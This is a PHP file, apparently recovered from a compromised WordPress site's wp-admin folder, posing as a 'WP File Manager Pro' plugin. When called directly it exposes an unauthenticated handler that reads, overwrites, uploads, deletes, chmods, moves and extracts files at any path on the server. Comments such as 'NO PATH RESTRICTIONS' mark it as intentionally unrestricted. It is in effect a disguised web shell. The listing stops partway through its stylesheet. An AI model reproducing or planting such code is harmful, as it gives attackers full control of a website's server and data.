File "rapid.php"
Full path: /usr/home/FixAGD/domains/dabrowagornicza.org.pl/public_html/wp-admin/user/rapid.php
File size: 74.05 KiB (75829 bytes)
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Edit Back
<?php
/**
* Plugin Name: WP File Manager Pro
* Description: File Manager lets you manage files easily from dashboard or standalone.
* Version: 9.0.0
* Author: WP File Manager Team
* License: GPL v2 or later
*/
// ============================================
// STANDALONE MODE DETECTION + STUBS
// ============================================
$wpfm_wp_mode = defined('ABSPATH') && function_exists('add_action');
if (!$wpfm_wp_mode) {
define('WPFM_STANDALONE', true);
define('ABSPATH', rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/');
function wpfm_size_format($bytes, $dec = 2) {
$units = array('B','KB','MB','GB','TB');
$bytes = max($bytes, 0);
$pow = $bytes > 0 ? floor(log($bytes) / log(1024)) : 0;
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $dec) . ' ' . $units[$pow];
}
function wpfm_max_upload() {
$u = ini_get('upload_max_filesize');
$p = ini_get('post_max_size');
$parse = function($s) {
$unit = preg_replace('/[^bkmgtpezy]/i', '', $s);
$s = preg_replace('/[^0-9\.]/', '', $s);
if ($unit) return round($s * pow(1024, stripos('bkmgtpezy', $unit[0])));
return round($s);
};
return min($parse($u), $parse($p));
}
function sanitize_text_field($s) { return trim(strip_tags((string)$s)); }
function sanitize_file_name($f) { return preg_replace('/[^a-zA-Z0-9._\-]/', '', (string)$f); }
function wp_unslash($v) { return is_string($v) ? stripslashes($v) : $v; }
function esc_html($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); }
function esc_attr($t) { return htmlspecialchars((string)$t, ENT_QUOTES, 'UTF-8'); }
function esc_js($t) { return addslashes((string)$t); }
function esc_html_e($t, $d = '') { echo esc_html($t); }
function __($t, $d = '') { return $t; }
}
// ============================================
// HOME DIRECTORY HELPER
// ============================================
function wpfm_home_dir() {
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$info = @posix_getpwuid(posix_geteuid());
if ($info && !empty($info['dir'])) return $info['dir'];
}
if (!empty($_SERVER['HOME'])) return $_SERVER['HOME'];
if (!empty($_SERVER['USERPROFILE'])) return $_SERVER['USERPROFILE'];
return '/';
}
// ============================================
// AJAX HANDLER — BEFORE ANY HTML OUTPUT
// ============================================
if (defined('WPFM_STANDALONE')) {
$is_ajax = (isset($_POST['wpfm_ajax']) && $_POST['wpfm_ajax'] == '1')
|| (isset($_GET['wpfm_op']) && $_GET['wpfm_op'] === 'download');
if ($is_ajax) {
while (ob_get_level()) @ob_end_clean();
if (!isset($_GET['wpfm_op']) || $_GET['wpfm_op'] !== 'download') {
header('Content-Type: application/json; charset=utf-8');
}
$op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : '';
$response = wpfm_handle_action($op);
echo json_encode($response);
exit;
}
}
// ============================================
// CORE ACTION HANDLER — NO PATH RESTRICTIONS
// ============================================
function wpfm_handle_action($op) {
// Resolve base root: script dir in standalone, ABSPATH in WP
if (defined('WPFM_STANDALONE')) {
$root = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/';
} else {
$root = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/';
}
// NO RESTRICTION: any valid existing path is allowed
$valid = function($path) {
if (!$path) return false;
if (file_exists($path)) return true;
// For create/rename targets — parent must exist
return is_dir(dirname($path));
};
switch ($op) {
case 'list':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : $root;
$path = str_replace('\\', '/', $path);
// Normalize: handle ~ for home
if ($path === '~' || $path === '~/') $path = wpfm_home_dir();
if (strpos($path, '~/') === 0) $path = wpfm_home_dir() . substr($path, 1);
$path = rtrim($path, '/') . '/';
if (!is_dir($path)) return wpfm_err('Directory not found: ' . $path);
return array(
'success' => true,
'data' => array(
'path' => $path,
'html' => wpfm_render_list($path),
'breadcrumb' => wpfm_breadcrumb($path),
'count' => wpfm_count($path)
)
);
case 'read':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$path || !is_file($path)) return wpfm_err('File not found');
$content = @file_get_contents($path);
if ($content === false) return wpfm_err('Cannot read file');
return array('success' => true, 'data' => array(
'content' => $content,
'name' => basename($path),
'path' => $path,
'ext' => strtolower(pathinfo($path, PATHINFO_EXTENSION))
));
case 'save':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$content = isset($_POST['content']) ? wp_unslash($_POST['content']) : '';
if (!$path || !file_exists($path)) return wpfm_err('File not found');
if (@file_put_contents($path, $content) === false) return wpfm_err('Save failed');
return array('success' => true, 'data' => array('message' => 'File saved'));
case 'rename':
$old = isset($_POST['old_path']) ? $_POST['old_path'] : '';
$new = isset($_POST['new_name']) ? sanitize_file_name($_POST['new_name']) : '';
if (!$old || !$new) return wpfm_err('Invalid parameters');
if (!file_exists($old)) return wpfm_err('Item not found');
$target = dirname($old) . '/' . $new;
if (file_exists($target)) return wpfm_err('Name already exists');
if (!@rename($old, $target)) return wpfm_err('Rename failed');
return array('success' => true, 'data' => array('message' => 'Renamed to ' . $new));
case 'delete':
$items = isset($_POST['items']) ? (array) $_POST['items'] : array();
if (empty($items)) return wpfm_err('No items selected');
$ok = 0; $fail = 0;
foreach ($items as $item) {
if (is_dir($item)) { if (wpfm_delete_recursive($item)) $ok++; else $fail++; }
elseif (is_file($item)) { if (@unlink($item)) $ok++; else $fail++; }
else $fail++;
}
if ($fail === 0) return array('success' => true, 'data' => array('message' => $ok . ' item(s) deleted'));
return wpfm_err($ok . ' deleted, ' . $fail . ' failed');
case 'create':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['name']) ? sanitize_file_name($_POST['name']) : '';
$type = isset($_POST['type']) ? $_POST['type'] : 'folder';
if (!$path || !$name) return wpfm_err('Invalid parameters');
if (!is_dir($path)) return wpfm_err('Parent dir not found');
$target = rtrim($path, '/') . '/' . $name;
if (file_exists($target)) return wpfm_err('Already exists');
if ($type === 'folder') {
if (!@mkdir($target, 0755, true)) return wpfm_err('mkdir failed');
return array('success' => true, 'data' => array('message' => 'Folder created'));
}
if (@file_put_contents($target, '') === false) return wpfm_err('Create failed');
return array('success' => true, 'data' => array('message' => 'File created'));
case 'chmod':
$path = isset($_POST['path']) ? $_POST['path'] : '';
$mode = isset($_POST['mode']) ? $_POST['mode'] : '755';
if (!$path || !file_exists($path)) return wpfm_err('Item not found');
if (!preg_match('/^[0-7]{3,4}$/', $mode)) return wpfm_err('Invalid mode');
if (!@chmod($path, octdec($mode))) return wpfm_err('Chmod failed');
return array('success' => true, 'data' => array('message' => 'Permissions changed'));
case 'archive':
$items = isset($_POST['items']) ? (array) $_POST['items'] : array();
$path = isset($_POST['path']) ? $_POST['path'] : '';
$name = isset($_POST['archive_name']) ? sanitize_file_name($_POST['archive_name']) : 'archive.zip';
if (empty($items) || !$path) return wpfm_err('Invalid parameters');
if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available');
$archive = rtrim($path, '/') . '/' . $name;
$zip = new ZipArchive();
if ($zip->open($archive, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
return wpfm_err('Cannot create archive');
}
foreach ($items as $item) {
wpfm_add_to_zip($zip, $item, basename($item));
}
$zip->close();
return array('success' => true, 'data' => array('message' => 'Archive: ' . $name));
case 'extract':
$archive = isset($_POST['archive']) ? $_POST['archive'] : '';
$dest = isset($_POST['destination']) ? $_POST['destination'] : '';
if (!$archive || !$dest) return wpfm_err('Invalid parameters');
if (!is_file($archive)) return wpfm_err('Archive not found');
if (!class_exists('ZipArchive')) return wpfm_err('ZipArchive not available');
$zip = new ZipArchive();
if ($zip->open($archive) !== true) return wpfm_err('Cannot open');
$zip->extractTo($dest);
$zip->close();
return array('success' => true, 'data' => array('message' => 'Extracted'));
case 'copy':
$src = isset($_POST['source']) ? $_POST['source'] : '';
$dst = isset($_POST['destination']) ? $_POST['destination'] : '';
if (!$src || !$dst) return wpfm_err('Invalid parameters');
if (!file_exists($src)) return wpfm_err('Source not found');
$target = rtrim($dst, '/') . '/' . basename($src);
if (file_exists($target)) return wpfm_err('Target exists');
if (!wpfm_copy_recursive($src, $target)) return wpfm_err('Copy failed');
return array('success' => true, 'data' => array('message' => 'Copied'));
case 'move':
$src = isset($_POST['source']) ? $_POST['source'] : '';
$dst = isset($_POST['destination']) ? $_POST['destination'] : '';
if (!$src || !$dst) return wpfm_err('Invalid parameters');
if (!file_exists($src)) return wpfm_err('Source not found');
$target = rtrim($dst, '/') . '/' . basename($src);
if (file_exists($target)) return wpfm_err('Target exists');
if (!@rename($src, $target)) return wpfm_err('Move failed');
return array('success' => true, 'data' => array('message' => 'Moved'));
case 'upload':
if (!isset($_FILES['file'])) return wpfm_err('No file');
$path = isset($_POST['path']) ? $_POST['path'] : $root;
if (!is_dir($path)) return wpfm_err('Directory not found');
$dest = rtrim($path, '/') . '/' . basename($_FILES['file']['name']);
if (!move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
return wpfm_err('Upload failed');
}
return array('success' => true, 'data' => array('message' => 'Uploaded: ' . basename($dest)));
case 'download':
$path = isset($_GET['path']) ? $_GET['path'] : '';
if (!$path || !is_file($path)) die('File not found');
while (ob_get_level()) @ob_end_clean();
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path) . '"');
header('Content-Length: ' . filesize($path));
readfile($path);
exit;
default:
return wpfm_err('Unknown op: ' . $op);
}
}
function wpfm_err($msg) {
return array('success' => false, 'data' => array('message' => $msg));
}
// ============================================
// HELPERS
// ============================================
function wpfm_count($path) {
$items = @scandir($path);
return $items ? max(0, count($items) - 2) : 0;
}
function wpfm_delete_recursive($path) {
if (is_file($path) || is_link($path)) return @unlink($path);
if (is_dir($path)) {
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
if (!wpfm_delete_recursive($path . '/' . $i)) return false;
}
return @rmdir($path);
}
return false;
}
function wpfm_copy_recursive($src, $dst) {
if (is_file($src)) return @copy($src, $dst);
if (is_dir($src)) {
if (!is_dir($dst)) @mkdir($dst, 0755, true);
$items = @scandir($src);
if ($items === false) return false;
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
if (!wpfm_copy_recursive($src . '/' . $i, $dst . '/' . $i)) return false;
}
return true;
}
return false;
}
function wpfm_add_to_zip($zip, $path, $rel) {
if (is_file($path)) {
$zip->addFile($path, $rel);
} elseif (is_dir($path)) {
$zip->addEmptyDir($rel);
$items = @scandir($path);
if ($items === false) return;
foreach ($items as $i) {
if ($i === '.' || $i === '..') continue;
wpfm_add_to_zip($zip, $path . '/' . $i, $rel . '/' . $i);
}
}
}
function wpfm_perms($p) {
$perms = @fileperms($p);
if ($perms === false) return '---';
return (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-')
. (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-')
. (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-');
}
function wpfm_is_editable($ext) {
return in_array(strtolower($ext), array(
'php','js','css','html','htm','txt','json','xml','md','log','htaccess','yml','yaml',
'ini','conf','config','inc','sql','sh','bat','py','rb','pl','asp','aspx','jsp',
'ts','jsx','tsx','vue','svelte','scss','sass','less'
));
}
function wpfm_file_icon($ext) {
$m = array(
'php'=>'fa-file-code','js'=>'fa-file-code','css'=>'fa-file-code','html'=>'fa-file-code','htm'=>'fa-file-code',
'json'=>'fa-file-code','xml'=>'fa-file-code','txt'=>'fa-file-alt','md'=>'fa-file-alt','log'=>'fa-file-alt',
'jpg'=>'fa-file-image','jpeg'=>'fa-file-image','png'=>'fa-file-image','gif'=>'fa-file-image','svg'=>'fa-file-image',
'webp'=>'fa-file-image','ico'=>'fa-file-image','mp3'=>'fa-file-audio','wav'=>'fa-file-audio',
'mp4'=>'fa-file-video','avi'=>'fa-file-video','mov'=>'fa-file-video',
'zip'=>'fa-file-archive','tar'=>'fa-file-archive','gz'=>'fa-file-archive','rar'=>'fa-file-archive','7z'=>'fa-file-archive',
'pdf'=>'fa-file-pdf','doc'=>'fa-file-word','docx'=>'fa-file-word','xls'=>'fa-file-excel','xlsx'=>'fa-file-excel'
);
return isset($m[$ext]) ? $m[$ext] : 'fa-file';
}
function wpfm_icon_class($ext) {
$c = array(
'php'=>'ip','js'=>'ij','css'=>'ic','html'=>'ih','htm'=>'ih','json'=>'ijo','xml'=>'ix','txt'=>'it','md'=>'im','log'=>'il',
'jpg'=>'iimg','jpeg'=>'iimg','png'=>'iimg','gif'=>'iimg','svg'=>'iimg','webp'=>'iimg','ico'=>'iimg',
'mp3'=>'ia','wav'=>'ia','mp4'=>'iv','avi'=>'iv','mov'=>'iv',
'zip'=>'iar','tar'=>'iar','gz'=>'iar','rar'=>'iar','7z'=>'iar',
'pdf'=>'ipd','doc'=>'id','docx'=>'id','xls'=>'ixl','xlsx'=>'ixl'
);
return isset($c[$ext]) ? $c[$ext] : 'idef';
}
function wpfm_scan($path) {
$folders = array(); $files = array();
if (!is_dir($path) || !is_readable($path)) return array('folders'=>$folders, 'files'=>$files);
$items = @scandir($path);
if ($items === false) return array('folders'=>$folders, 'files'=>$files);
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$p = rtrim($path, '/') . '/' . $item;
if (is_dir($p)) {
$folders[] = array(
'name'=>$item, 'path'=>$p, 'type'=>'folder',
'modified'=>@filemtime($p),
'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)),
'perms'=>wpfm_perms($p),
'item_count'=>wpfm_count($p)
);
} else {
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$files[] = array(
'name'=>$item, 'path'=>$p, 'type'=>'file', 'ext'=>$ext,
'size'=>@filesize($p),
'modified'=>@filemtime($p),
'modified_formatted'=>date('Y-m-d H:i', @filemtime($p)),
'perms'=>wpfm_perms($p)
);
}
}
usort($folders, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); });
usort($files, function($a,$b){ return strnatcasecmp($a['name'],$b['name']); });
return array('folders'=>$folders, 'files'=>$files);
}
// ============================================
// BREADCRUMB — full path from filesystem root
// ============================================
function wpfm_breadcrumb($path) {
$bc = array();
$path = rtrim(str_replace('\\', '/', $path), '/');
if ($path === '') $path = '/';
// Windows drive letter?
if (preg_match('#^([A-Za-z]:)#', $path, $m)) {
$fs_root = $m[1] . '/';
$bc[] = array('name' => $m[1], 'path' => $fs_root);
if ($path === rtrim($fs_root, '/')) return $bc;
$rel = ltrim(substr($path, strlen(rtrim($fs_root, '/'))), '/');
$parts = array_filter(explode('/', $rel));
$cur = rtrim($fs_root, '/');
foreach ($parts as $p) {
$cur .= '/' . $p;
$bc[] = array('name' => $p, 'path' => $cur);
}
return $bc;
}
// Unix — always start at /
$bc[] = array('name' => 'Home', 'path' => '/');
if ($path === '/') return $bc;
$rel = ltrim($path, '/');
$parts = array_filter(explode('/', $rel));
$cur = '';
foreach ($parts as $p) {
$cur .= '/' . $p;
$bc[] = array('name' => $p, 'path' => $cur);
}
return $bc;
}
function wpfm_render_list($path) {
$contents = wpfm_scan($path);
ob_start();
// Parent link (only if not at filesystem root)
$parent = dirname(rtrim($path, '/'));
$is_root = ($path === '/' || preg_match('#^[A-Za-z]:/?$#', $path));
if (!$is_root && is_dir($parent)) {
$pp = htmlspecialchars($parent, ENT_QUOTES);
?>
<div class="fr parent" data-path="<?= $pp ?>" data-type="folder" data-name="..">
<div class="lc"></div>
<div class="ln">
<div class="fi" style="background:#e5e7eb;color:#6b7280"><i class="fas fa-level-up-alt"></i></div>
<div class="finfo">
<span class="ftitle">.. (Parent Directory)</span>
<span class="fmeta"><?= htmlspecialchars($parent) ?></span>
</div>
</div>
<div class="lsz">—</div>
<div class="ltp">Folder</div>
<div class="lm">—</div>
<div class="lact"></div>
</div>
<?php
}
foreach ($contents['folders'] as $f) {
$data_name = htmlspecialchars($f['name'], ENT_QUOTES);
$data_path = htmlspecialchars($f['path'], ENT_QUOTES);
$display = htmlspecialchars($f['name']);
// Show hidden folders dimmer
$hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : '';
?>
<div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="folder" data-size="0" data-modified="<?= (int)$f['modified'] ?>">
<div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div>
<div class="ln">
<div class="fi if"><i class="fas fa-folder"></i></div>
<div class="finfo">
<span class="ftitle"><?= $display ?></span>
<span class="fmeta"><?= (int)$f['item_count'] ?> items · <?= htmlspecialchars($f['perms']) ?></span>
</div>
</div>
<div class="lsz">—</div>
<div class="ltp">Folder</div>
<div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div>
<div class="lact">
<button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button>
<button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button>
<button type="button" class="abtn" data-action="archive" title="Archive"><i class="fas fa-file-archive"></i></button>
<button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button>
</div>
</div>
<?php
}
foreach ($contents['files'] as $f) {
$data_name = htmlspecialchars($f['name'], ENT_QUOTES);
$data_path = htmlspecialchars($f['path'], ENT_QUOTES);
$data_ext = htmlspecialchars($f['ext'], ENT_QUOTES);
$display = htmlspecialchars($f['name']);
$is_zip = in_array($f['ext'], array('zip','tar','gz','rar','7z'));
$editable = wpfm_is_editable($f['ext']);
$hidden = ($f['name'][0] === '.') ? ' style="opacity:.6"' : '';
?>
<div class="fr"<?= $hidden ?> data-name="<?= $data_name ?>" data-path="<?= $data_path ?>" data-type="file" data-ext="<?= $data_ext ?>" data-size="<?= (int)$f['size'] ?>" data-modified="<?= (int)$f['modified'] ?>">
<div class="lc"><input type="checkbox" class="item-check" data-path="<?= $data_path ?>"></div>
<div class="ln">
<div class="fi <?= wpfm_icon_class($f['ext']) ?>"><i class="fas <?= wpfm_file_icon($f['ext']) ?>"></i></div>
<div class="finfo">
<span class="ftitle"><?= $display ?></span>
<span class="fmeta"><?= strtoupper(htmlspecialchars($f['ext'])) ?> · <?= htmlspecialchars($f['perms']) ?></span>
</div>
</div>
<div class="lsz"><?= wpfm_size_format($f['size']) ?></div>
<div class="ltp"><?= strtoupper(htmlspecialchars($f['ext'])) ?></div>
<div class="lm"><?= htmlspecialchars($f['modified_formatted']) ?></div>
<div class="lact">
<?php if ($editable): ?>
<button type="button" class="abtn" data-action="edit" title="Edit"><i class="fas fa-edit"></i></button>
<?php endif; ?>
<button type="button" class="abtn" data-action="download" title="Download"><i class="fas fa-download"></i></button>
<button type="button" class="abtn" data-action="rename" title="Rename"><i class="fas fa-pen"></i></button>
<button type="button" class="abtn" data-action="chmod" title="Permissions"><i class="fas fa-lock"></i></button>
<?php if ($is_zip): ?>
<button type="button" class="abtn" data-action="extract" title="Extract"><i class="fas fa-file-export"></i></button>
<?php endif; ?>
<button type="button" class="abtn dngr" data-action="delete" title="Delete"><i class="fas fa-trash-alt"></i></button>
</div>
</div>
<?php
}
if (empty($contents['folders']) && empty($contents['files'])) {
?>
<div class="es">
<i class="fas fa-folder-open"></i>
<h3>This folder is empty</h3>
<p>Upload files or create a new folder to get started.</p>
</div>
<?php
}
return ob_get_clean();
}
// ============================================
// WORDPRESS AJAX HOOK
// ============================================
if ($wpfm_wp_mode) {
add_action('wp_ajax_wpfm_action', function() {
if (!current_user_can('manage_options')) {
wp_send_json_error(array('message' => 'Permission denied'));
}
$op = isset($_REQUEST['wpfm_op']) ? sanitize_text_field($_REQUEST['wpfm_op']) : '';
$result = wpfm_handle_action($op);
if (!empty($result['success'])) {
wp_send_json_success($result['data']);
} else {
wp_send_json_error($result['data']);
}
});
add_action('admin_menu', function() {
add_menu_page('WP File Manager Pro', 'File Manager', 'manage_options',
'wp-file-manager-pro', 'wpfm_render_page', 'dashicons-portfolio', 80);
add_submenu_page('wp-file-manager-pro', 'File Manager', 'File Manager', 'manage_options',
'wp-file-manager-pro', 'wpfm_render_page');
});
}
// ============================================
// RENDER PAGE
// ============================================
function wpfm_render_page() {
if (!defined('WPFM_STANDALONE') && !current_user_can('manage_options')) {
wp_die('Permission denied');
}
// Base root hint (not a restriction)
if (defined('WPFM_STANDALONE')) {
$base = rtrim(str_replace('\\', '/', dirname(__FILE__)), '/') . '/';
} else {
$base = rtrim(str_replace('\\', '/', ABSPATH), '/') . '/';
}
// Accept ANY path from user
$current = isset($_GET['path']) ? str_replace('\\', '/', $_GET['path']) : $base;
// Normalize ~
if ($current === '~' || $current === '~/') $current = wpfm_home_dir();
if (strpos($current, '~/') === 0) $current = wpfm_home_dir() . substr($current, 1);
$current = rtrim($current, '/') . '/';
if (!is_dir($current)) $current = $base;
$disk_free = @disk_free_space($current);
if ($disk_free === false) $disk_free = @disk_free_space('/');
$disk_total = @disk_total_space($current);
if ($disk_total === false) $disk_total = @disk_total_space('/');
$disk_percent = ($disk_total > 0) ? round((($disk_total - $disk_free) / $disk_total) * 100, 1) : 0;
// URLs
if (defined('WPFM_STANDALONE')) {
$ajax_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES);
$self_url = htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES);
} else {
$ajax_url = admin_url('admin-ajax.php');
$self_url = admin_url('admin.php?page=wp-file-manager-pro');
}
$breadcrumb = wpfm_breadcrumb($current);
$home = wpfm_home_dir();
$doc_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '/';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WP File Manager Pro</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root{--p:#2271b1;--pd:#135e96;--pl:#e7f1f9;--s:#00a32a;--sd:#008a20;--d:#d63638;--dd:#b32d2e;--w:#dba617;--dk:#1d2327;--g:#f0f0f1;--gl:#f6f7f7;--b:#c3c4c7;--t:#2c3338;--tl:#646970;--r:6px}
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;background:#f0f0f1;color:var(--t);font-size:13px;line-height:1.5}
.app{max-width:1600px;margin:20px auto;background:#fff;border-radius:var(--r);box-shadow:0 4px 16px rgba(0,0,0,.12);overflow:hidden;border:1px solid var(--b)}
.hd{background:var(--dk);padding:12px 20px;display:flex;align-items:center;justify-content:space-between;color:#fff;flex-wrap:wrap;gap:10px}
.logo{display:flex;align-items:center;gap:10px;font-size:16px;font-weight:600}
.logo i{color:#72aee6;font-size:20px}
.pro{background:linear-gradient(135deg,#f0b849,#dba617);color:#1d2327;font-size:9px;font-weight:700;padding:2px 8px;border-radius:10px}
.hd-r{display:flex;gap:6px;align-items:center}
.btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;font-size:12px;font-weight:500;background:var(--gl);border:1px solid var(--b);border-radius:4px;color:var(--t);text-decoration:none;cursor:pointer;transition:all .2s;line-height:1.6;white-space:nowrap;font-family:inherit}
.btn:hover{background:var(--g);border-color:#8c8f94}
.btn:active{transform:translateY(1px)}
.btn-i{padding:8px;width:34px;height:34px;justify-content:center}
.btn-p{background:var(--p);border-color:var(--p);color:#fff}
.btn-p:hover{background:var(--pd);border-color:var(--pd);color:#fff}
.btn-s{background:var(--s);border-color:var(--s);color:#fff}
.btn-s:hover{background:var(--sd);border-color:var(--sd);color:#fff}
.btn-d{background:var(--d);border-color:var(--d);color:#fff}
.btn-d:hover{background:var(--dd);border-color:var(--dd);color:#fff}
.btn-g{background:transparent;border-color:transparent;color:var(--tl)}
.btn-g:hover{background:var(--g);color:var(--t)}
.btn-sm{padding:4px 10px;font-size:11px}
.hd .btn{background:rgba(255,255,255,.08);border-color:rgba(255,255,255,.15);color:#fff}
.hd .btn:hover{background:rgba(255,255,255,.18)}
.tb{background:var(--gl);padding:10px 16px;display:flex;align-items:center;justify-content:space-between;gap:12px;flex-wrap:wrap;border-bottom:1px solid var(--b)}
.tb-l,.tb-r{display:flex;align-items:center;gap:8px;flex-wrap:wrap}
.tbtn{background:#fff;border:1px solid var(--b);width:32px;height:32px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s}
.tbtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)}
.pbar{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 4px;flex:1;min-width:200px;max-width:600px}
.pbar i{color:var(--w);padding:0 8px}
.pbar input{flex:1;border:none;outline:none;padding:8px 4px;font-size:12px;font-family:'Courier New',monospace;background:transparent;color:var(--t)}
.pgo{background:transparent;border:none;cursor:pointer;padding:6px 10px;color:var(--p);border-radius:3px}
.pgo:hover{background:var(--pl)}
.search{display:flex;align-items:center;background:#fff;border:1px solid var(--b);border-radius:4px;padding:0 10px;min-width:200px}
.search i{color:var(--tl);font-size:12px}
.search input{border:none;outline:none;padding:8px 8px;font-size:12px;flex:1;background:transparent}
.bc{background:#fff;padding:8px 16px;display:flex;align-items:center;flex-wrap:wrap;gap:4px;border-bottom:1px solid var(--b);font-size:12px;overflow-x:auto}
.bc a{color:var(--p);text-decoration:none;padding:3px 8px;border-radius:3px;cursor:pointer;white-space:nowrap}
.bc a:hover{background:var(--pl)}
.bc .sep{color:#c3c4c7;font-size:10px}
.content{display:flex;min-height:500px}
.sb{width:260px;background:var(--gl);border-right:1px solid var(--b);padding:16px 0;flex-shrink:0}
.sbs{padding:0 16px 20px}
.sbt{font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.5px;color:var(--tl);margin-bottom:10px;display:flex;align-items:center;gap:6px}
.sbl{display:flex;align-items:center;gap:8px;padding:7px 10px;border-radius:4px;color:var(--t);text-decoration:none;font-size:12px;cursor:pointer;margin-bottom:2px}
.sbl:hover{background:var(--pl);color:var(--p)}
.sbl i{width:16px;text-align:center;color:var(--tl)}
.sbl:hover i{color:var(--p)}
.sbar{background:#dcdcde;height:8px;border-radius:4px;overflow:hidden;margin-bottom:8px}
.sfill{height:100%;background:linear-gradient(90deg,#72aee6,#2271b1);border-radius:4px}
.stxt{display:flex;justify-content:space-between;font-size:11px;color:var(--tl)}
.sir{display:flex;justify-content:space-between;padding:5px 0;border-bottom:1px solid #e5e5e5;font-size:12px}
.sir:last-child{border-bottom:none}
.sir span:last-child{font-weight:500;word-break:break-all;text-align:right;max-width:60%}
.main{flex:1;display:flex;flex-direction:column;min-width:0;background:#fff}
.selbar{background:var(--pl);padding:10px 16px;display:none;align-items:center;justify-content:space-between;border-bottom:1px solid #c5d9ed;flex-wrap:wrap;gap:10px}
.selbar.on{display:flex}
.selinfo{font-size:12px;font-weight:500;color:var(--pd)}
.selact{display:flex;gap:6px;flex-wrap:wrap}
.fl{flex:1;overflow-y:auto}
.lh{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;background:var(--gl);padding:10px 16px;font-size:11px;font-weight:600;text-transform:uppercase;letter-spacing:.3px;color:var(--tl);border-bottom:1px solid var(--b);position:sticky;top:0;z-index:5}
.lh>div{display:flex;align-items:center;gap:5px}
.lc{display:flex;align-items:center;justify-content:center}
.lc input[type="checkbox"]{width:16px;height:16px;cursor:pointer;accent-color:var(--p)}
.lb{background:#fff}
.fr{display:grid;grid-template-columns:40px 1fr 90px 90px 150px 220px;padding:10px 16px;border-bottom:1px solid #f0f0f1;align-items:center;transition:background .15s}
.fr:hover{background:var(--gl)}
.fr.sel{background:var(--pl);border-left:3px solid var(--p)}
.fr.parent{cursor:pointer;background:#fafafa}
.fr.parent:hover{background:var(--gl)}
.ln{display:flex;align-items:center;gap:12px;min-width:0}
.fi{width:36px;height:36px;display:flex;align-items:center;justify-content:center;border-radius:6px;font-size:16px;flex-shrink:0}
.if{background:#fff3cd;color:#dba617}
.ip{background:#e7f1f9;color:#2271b1}
.ij{background:#fff8e5;color:#dba617}
.ic{background:#e7f5ff;color:#2271b1}
.ih{background:#ffebe8;color:#d63638}
.ijo,.ix{background:#f0f0f1;color:#646970}
.it,.im,.il{background:#f6f7f7;color:#646970}
.iimg{background:#e7f5e7;color:#00a32a}
.ia{background:#f3e7f9;color:#8c5aa8}
.iv{background:#ffe7ec;color:#d63638}
.iar{background:#fff3cd;color:#b26200}
.ipd{background:#ffe7e7;color:#d63638}
.id{background:#e7f1f9;color:#2271b1}
.ixl{background:#e7f5e7;color:#00a32a}
.idef{background:#f0f0f1;color:#646970}
.finfo{display:flex;flex-direction:column;min-width:0;gap:2px}
.ftitle{font-weight:500;color:var(--t);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:13px}
.fr:hover .ftitle{color:var(--p)}
.fmeta{font-size:10px;color:var(--tl);text-transform:uppercase;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.lsz,.ltp,.lm{font-size:12px;color:var(--tl)}
.lact{display:flex;gap:3px;flex-wrap:wrap}
.abtn{background:#fff;border:1px solid var(--b);width:28px;height:28px;display:flex;align-items:center;justify-content:center;border-radius:4px;cursor:pointer;color:var(--tl);transition:all .2s;font-size:11px;padding:0}
.abtn:hover{background:var(--pl);border-color:var(--p);color:var(--p)}
.abtn.dngr:hover{background:#ffebe8;border-color:var(--d);color:var(--d)}
.es{text-align:center;padding:60px 20px;color:var(--tl)}
